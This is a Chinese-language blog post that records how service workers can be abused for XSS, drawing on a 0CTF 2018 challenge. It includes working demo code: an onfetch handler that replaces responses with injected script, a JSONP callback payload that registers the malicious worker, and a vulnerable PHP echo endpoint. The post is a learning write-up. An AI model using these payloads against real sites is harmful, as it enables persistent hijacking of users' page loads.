Bubbles~blog

用爱发电

利用service worker进行xss的几点记录

其实这次的纪录主要是由最近的0ctf 2018引出来的,web的压轴题h4x0rs.space 就是利用了service worker这一攻击点,这部分内容以前也没什么接触,纯粹是借着这次机会涨涨姿势了

其实这次题目中跟service worker一起被利用的还有appcache,它们的作用其实差不多,其实说白了就是对你需要的页面提供了缓存,让你可以在网络状况不好甚至离线的情况下也能加载出来页面,从而获得更好的体验,其实看到这你应该也明白这个功能其实很危险,比如缓存到哪,如何对请求的缓存内容进行响应都有可能遭受攻击,所以他们的功能也受到了许多限制,而同样的,在这两者之间,虽然appcache使用起来更加地简单,但是它对很多异常情况的处理并不很好,如果你没有严格按照它的要求来可能就将产生许多问题,相比之下复杂的service worker则更好地调度了各项缓存,功能也更加强大,似乎service worker已经开始取代appcache了

这里是service worker的相关文档,我这里主要讲讲它与xss结合的一些记录
服务工作线程简介

在浏览器中我们可以很方便地查到所有产生的service worker线程,我这里使用的是chrome,虽然在后面复现过程中给了我很大伤害,在chrome下你可以直接打开chrome://serviceworker-internals,在其中查看所有的service worker,你也可以在这里删除它们,但是似乎并不会那么快生效,在新版的chrome下我们也可以在f12开发者工具里进入application选项卡,在这你可以看到很多缓存信息,也包括service worker和appcache,在这里你也可以即时地unregister产生的service worker,不过想要实现这个最好在chrome://flags页面中打开Experimental Web Platform features选项

在firefox下你也可以在菜单中的web开发者中打开service worker的控制页面

接下来我们来尝试几个demo来更好地认识它

首先第一步当然是要注册一个service worker,这里要注意service worker只能运行在https页面当中亦或是本地localhost,这里我是在本地环境下进行的

可用的方式其实有很多,当然首先我们需要的是一个xss攻击点来写入我们的注册代码,接下来让我们头疼的就是注册用的js了,对于它也有严格的要求,必须是同源页面下的,同时content type也必须是js

一种可能的情况就是我们找到了一个上传点上传我们的恶意js文件,那我们就可以使用它来注册我们的service workrer,当然,这一般是比较困难的,所以通常我们都是利用jsonp来触发的,利用可控的callback参数我们可以达到同样的效果

接下来我们不妨来考虑我们的恶意js该如何构造,这里我们还有几点需要注意,service worker使用的是web worker的驱动,同时主要也是基于promise,这也是个有趣的特性,在woker线程里,我们能访问的对象是有限的,以下对象我们都无法使用
DOM对象
window对象
document对象
parent对象
所以大家喜闻乐见的alert,cookie都没法使用,所以基于service worker的攻击实际上主要还是依靠劫持请求来完成

接下来我们分别试试使用文件和jsonp来注册service worker进行攻击

//js文件注册
<script type="text/javascript">
	var url="//localhost/evil2.js";
	if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>
it's fine
//evil2.js
onfetch=e=>{
	body='<script>alert(1)</script>';
	init={headers: {'content-type': 'text/html'}};
	e.respondWith(new Response(body,init));
}

这里我们使用onfetch劫持了浏览器的请求并将返回替换为我们的js代码

然后访问页面,我们就能看到控制台输出了注册成功,同时在application中我们也可以看到详细信息

接下来我们刷新页面或者打开其他页面都可以看到我们的代码被成功执行

然后我们来试试jsonp又有什么不同

<html>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" /> 
<body>
<script type="text/javascript">
	var url="//localhost/api_user.php?callback=onfetch=e=>{body='<script>alert(location.href)<\/script>';init={headers: {'content-type': 'text/html'}};e.respondWith(new Response(body,init));}//";
	if ('serviceWorker' in navigator) {
 navigator.serviceWorker.register(url)
 .then(function(registration) {
 console.log('ServiceWorker registration successful with scope: ', registration.scope);
 })
};
</script>
it's fine
</body>
</html>
<?php
header('Content-Type: text/javascript');
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "bubb11"});';
?>

我们之前也提到了注册用的js不仅要是同域下,返回的content-type还得是javascript,所以这里我们需要在服务端添加文件头,不然返回的结果可能默认就是text/plain,这样就会直接被拒绝掉,
但是在chrome下我发现对于我们劫持后返回的请求竟然被自动添加了pre标签,这还xss个卵子啊,似乎是chrome对这种异步处理得来的数据的处理方式出现了问题,直接当成文本了,看来还是type的问题,我们可以通过meta标签设置一下属性,这样就使得这些数据都被作为html元素进行了处理,我们的代码也能执行成功

可以看到还是非常有意思的,不过service worker也并不是万能的,限制其实也很多

首先它的作用范围其实是有限的,取决于你注册的js所在域,你也可以在注册时在scope参数下再限定一下作用域,当然,只能是注册js的子域

同时它的时间也并不是那么长久,注册完成24小时后就可能会失效,不过够顽强应该也算是它的一大优点,把浏览器关了它也一样会存在,除非你手动去关闭它,哪怕注册用js没了也是无所谓的,从另一个角度来看这也算是挺可怕的了

虽然利用了service worker的xss确实看起来挺可怕,但是说实话利用起来还是非常困难的,感觉满足条件的环境也很少见,更何况目前各浏览器对于service worker的支持也不尽相同,似乎在ios上的适配就有很多问题,而且随着标准的不断完善,存在的问题在不久的将来可能也将被解决,所以也只能说先在这里记录两笔了,指不定以后这种xss就凉了呢。。。